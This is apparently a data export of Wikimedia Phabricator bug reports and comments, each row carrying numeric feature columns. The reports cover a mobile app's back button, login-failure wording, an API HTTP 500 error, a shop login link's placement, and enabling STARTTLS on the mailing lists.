**Severity**: normal",Needs Triage,90.0,1341595920,1341596042.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-iqxrw2c6j7fj6ayibgqx,task_description,resolved,True,c2,1,False,False,True,-60,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.6470588235294118,"Go to a monument page and click the upload button in the right hand corner. An upload form appears. Click back button in the top left corner and nothing happens.

--------------------------
**Version**: unspecified
**Severity**: normal"
193523,Cannot click back icon on login screen,Fixed in https://github.com/wikimedia/WLMMobile/pull/28,,,1341596042,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iqxrw2c6j7fj6ayibgqx,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
40072,WLM App needs a better login failed message,"Currently it says ""Login failed :( NotExists""

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1340939040,1341877033.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-4eyk3u7skms74odqhdhz,task_description,resolved,True,c2,1,False,False,True,-61,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.6296296296296297,"Currently it says ""Login failed :( NotExists""

--------------------------
**Version**: unspecified
**Severity**: normal"
185056,WLM App needs a better login failed message,Resolved in https://github.com/wikimedia/WLMMobile/pull/30,,,1341877033,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4eyk3u7skms74odqhdhz,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Resolved in URL
185050,WLM App needs a better login failed message,"What should the failed login messaging actually be? There are a number of failure states for the login API, documented here:
http://www.mediawiki.org/wiki/API:Login#Errors

For simplicity, I'm inclined to group the possible errors as follows, which would simplify messaging:
* Something wrong with the username (NoName, Illegal, NotExists) eg ""Login failed: There is a problem with the username you entered.""
* Something wrong with the password (EmptyPass, WrongPass, WrongPluginPass) eg ""Login failed: There is a problem with the password you entered.""
* Blocked account (CreateBlocked, Blocked) eg ""Login failed: The user account has been blocked. Please go to <somewhere for more info about blocked accounts> for more information.""
* The account is being throttled (Throttled) eg ""Login failed: You have attempted to log in too many times in a short period of time. Please wait a bit and try logging in again.""
* Internal error (mustbeposted, NeedToken): ""Login failed: There was an internal error. Please try again later, and/or contact us""",,,1341532067,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4eyk3u7skms74odqhdhz,task_subcomment,,True,c2,1,False,,,-60,True,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,4.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,3.0,6.666666666666667,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,3.0,12.666666666666666,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.3333333333333333,0.0,0.0,2.0,6.666666666666667,3.3333333333333335,0.3333333333333333,4.0,0.0,2.0,0.0,0.6666666666666666,2.3333333333333335,0.3333333333333333,1.0,0.6666666666666666,0.0,0.6666666666666666,3.971113719353156,0.7007042253521126,"What should the failed login messaging actually be? There are a number of failure states for the login API, documented here:
URL

For simplicity, I'm inclined to group the possible errors as follows, which would simplify messaging:
* Something wrong with the username (NoName, Illegal, NotExists) eg ""Login failed: There is a problem with the username you entered.""
* Something wrong with the password (EmptyPass, WrongPass, WrongPluginPass) eg ""Login failed: There is a problem with the password you entered.""
* Blocked account (CreateBlocked, Blocked) eg ""Login failed: The user account has been blocked. Please go to <somewhere for more info about blocked accounts> for more information.""
* The account is being throttled (Throttled) eg ""Login failed: You have attempted to log in too many times in a short period of time. Please wait a bit and try logging in again.""
* Internal error (mustbeposted, NeedToken): ""Login failed: There was an internal error. Please try again later, and/or contact us"""
39886,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,"http://en.wikipedia.org/w/api.php?action=mobileview&format=json&page=Main_Page&sections=references - expect an empty resultset, get a 500 instead.

More problematic is http://en.wikipedia.org/w/api.php?action=mobileview&format=json&page=Main_Page&sections=0|references - expect to get contents of section 0, get a 500 instead.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1340487480,1341423543.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_description,resolved,True,c2,1,True,False,True,-62,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,3.7142857142857144,0.5918367346938775,"URL - expect an empty resultset, get a 500 instead.

More problematic is URL - expect to get contents of section 0, get a 500 instead.

--------------------------
**Version**: unspecified
**Severity**: normal"
175788,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,Merged and deployed.,,,1341423543,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Merged and deployed.
175780,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,Yuvi submitted a fix in https://gerrit.wikimedia.org/r/#/c/12788/,,,1340756333,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,False,,,-61,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Yuvi submitted a fix in URL
175772,action=mobileview & page=Main_Page & sections=references returns HTTP 500 error,"The error message on the 500 is:

PHP fatal error in /usr/local/apache/common-local/php-1.20wmf5/extensions/MobileFrontend/api/ApiMobileView.php line 117: 
Unsupported operand types",,,1340547891,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kbzvmp44wsnceuzjmzxj,task_subcomment,,True,c2,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.256410256410256,0.7435897435897436,"The error message on the 500 is:

PHP fatal error in /usr/local/apache/common-local/php-1.20wmf5/extensions/MobileFrontend/api/ApiMobileView.php line 117: 
Unsupported operand types"
39791,Wikimedia Shop login link is misplaced,"When you visit <http://shop.wikimedia.org/> currently, the site login link is in the sidebar:

---
* Shop navigation
** Home
** Apparel
** Accessories
** Travel

* Customer login
** Login

[...]
---

This doesn't make any sense to me given that the site is attempting to emulate MediaWiki's Vector skin. The login link should be in the upper right-hand corner just as it is on Wikimedia wikis.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1340297160,1345500755.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-xqeaoxlklfqi2xqs43gd,task_description,resolved,True,c2,1,True,False,True,-62,True,1.0,0.0,0.0,0.0,0.5,3.5,2.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,1.0,2.5,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,13.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,10.5,1.5,0.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,6.0,4.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,3.446428571428571,0.6785714285714286,"When you visit <URL currently, the site login link is in the sidebar:

---
* Shop navigation
** Home
** Apparel
** Accessories
** Travel

* Customer login
** Login

[...]
---

This doesn't make any sense to me given that the site is attempting to emulate MediaWiki's Vector skin. The login link should be in the upper right-hand corner just as it is on Wikimedia wikis.

--------------------------
**Version**: unspecified
**Severity**: normal"
178669,Wikimedia Shop login link is misplaced,"I didn't comment on this when it was changed for some reason. Marking as fixed for now, the login button is currently off in the upper right hand corner. If there are other concerns feel free to reopen and we can adjust it as time allows.",,,1345500755,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-xqeaoxlklfqi2xqs43gd,task_subcomment,,True,c2,1,False,,,-54,True,2.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,4.0,0.0,12.0,16.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,6.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.784313725490196,0.8823529411764706,"I didn't comment on this when it was changed for some reason. Marking as fixed for now, the login button is currently off in the upper right hand corner. If there are other concerns feel free to reopen and we can adjust it as time allows."
82576,Enable STARTTLS (both inbound and outbound) on lists,lists should offer STARTTLS encryption on inbound mail and negotiate TLS on outbound mail as well.,High,80.0,1367525524,1442835795.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4j2dctchb5aolz7ppy73,task_description,resolved,True,c2,1,True,False,False,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.882352941176471,0.8823529411764706,lists should offer STARTTLS encryption on inbound mail and negotiate TLS on outbound mail as well.
535474,Enable STARTTLS (both inbound and outbound) on lists,"Change 231973 abandoned by Ori.livneh:
Add simple haveged module; apply on fermium

Reason:
Not needed.

[[https://gerrit.wikimedia.org/r/231973]]",,,1443213401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,108,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8214285714285714,"Change 231973 abandoned by Ori.livneh:
Add simple haveged module; apply on fermium

Reason:
Not needed.

[[GERRIT_URL]]"
531251,Enable STARTTLS (both inbound and outbound) on lists,This should be done now.,,,1442835795,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,107,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,This should be done now.
531205,Enable STARTTLS (both inbound and outbound) on lists,"Change 239800 merged by Faidon Liambotis:
mailman: enable TLS for lists.wikimedia.org

[[https://gerrit.wikimedia.org/r/239800]]",,,1442830233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,107,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.6,0.85,"Change 239800 merged by Faidon Liambotis:
mailman: enable TLS for lists.wikimedia.org

[[GERRIT_URL]]"
531204,Enable STARTTLS (both inbound and outbound) on lists,"Change 239800 had a related patch set uploaded (by Faidon Liambotis):
mailman: enable TLS for lists.wikimedia.org

[[https://gerrit.wikimedia.org/r/239800]]
",,,1442830203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,107,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.296296296296297,0.8888888888888888,"Change 239800 had a related patch set uploaded (by Faidon Liambotis):
mailman: enable TLS for lists.wikimedia.org

[[GERRIT_URL]]
"
530410,Enable STARTTLS (both inbound and outbound) on lists,This is now unblocked since mailman has been migrated.,,,1442597317,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,107,True,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,This is now unblocked since mailman has been migrated.
502708,Enable STARTTLS (both inbound and outbound) on lists,ticket is a duplicate of T101451,,,1438796890,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,101,True,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,ticket is a duplicate of T101451
464165,Enable STARTTLS (both inbound and outbound) on lists,"Also this one.
http://onerng.info/
Not yet shipping??",,,1432683502,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,90,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.75,0.8333333333333334,"Also this one.
URL
Not yet shipping??"
464164,Enable STARTTLS (both inbound and outbound) on lists,"FWIW: Here are some HW random number generators that may help with the entropy needs.

http://www.araneus.fi/products/alea2/en/
https://www.tindie.com/products/WaywardGeek/infinite-noise/

These are both relatively inexpensive.

Would that help make this deployable?

Cheers,

Joel",,,1432683149,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,90,True,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,22.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.024390243902439,0.7804878048780488,"FWIW: Here are some HW random number generators that may help with the entropy needs.

URL
URL

These are both relatively inexpensive.

Would that help make this deployable?

Cheers,

Joel"
373284,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Tue Sep 16 11:22:04 2014, fgiunchedi wrote:%%%
> On Wed Dec 11 11:03:30 2013, mark wrote:
> >
> > On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-
> > <comment at wikimedia>
>
> re: entropy if that turns out to be still a problem we can use
> something like
> haveged",,,1410868193,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,4.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.42857142857142855,"%%%On Tue Sep 16 11:22:04 2014, fgiunchedi wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
373275,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Wed Dec 11 11:03:30 2013, mark wrote:%%%
>
> On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-
> <comment at wikimedia> we had this enabled once upon a time, but the list server kept
> running out of random entropy. Since it wasn't all that useful and I
> had no time to deal with it, I just disabled it at the time.
>
> I'm not at all against having this reenabled, just be aware that this
> can be an issue.
%%%FWIW I think that despite no cert validation we still want to encrypt smtp%%%
%%%traffic (we could audit certificate fingerprints, if anything)%%%
%%%re: entropy if that turns out to be still a problem we can use something like%%%
%%%haveged%%%",,,1410866524,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,54,True,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,15.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,18.0,3.0,0.0,6.0,11.0,13.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4482758620689653,0.5517241379310345,"%%%On Wed Dec 11 11:03:30 2013, mark wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%FWIW I think that despite no cert validation we still want to encrypt smtp%%%
%%%traffic (we could audit certificate fingerprints, if anything)%%%
%%%re: entropy if that turns out to be still a problem we can use something like%%%
%%%haveged%%%"
373264,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-comment at wikimedia> we had this enabled once upon a time, but the list server kept running out of random entropy. Since it wasn't all that useful and I had no time to deal with it, I just disabled it at the time.%%%
%%%I'm not at all against having this reenabled, just be aware that this can be an issue.%%%
%%%--%%%
